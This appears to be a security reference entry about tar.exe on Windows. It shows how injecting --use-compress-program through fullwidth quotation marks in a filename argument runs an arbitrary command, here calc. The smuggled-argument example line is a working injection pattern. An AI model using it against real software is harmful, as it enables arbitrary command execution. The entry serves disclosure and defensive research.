.. /tar.exe

Star

Vendors:

• Microsoft (Windows built-in command)

Code Execution

1. You are able to inject --use-compress-program to execute arbitrary commands

   subprocess.run(['tar.exe', 'xf', 'whatever.tar＂ ＂--use-compress-program=calc'])

   Use case

   If certain parts of the argument(s) are controllable, the attacker can inject additional arguments.

   Code Pages

   125x, 874

Acknowledgements:

• DEVCORE Research Team (@d3vc0r3)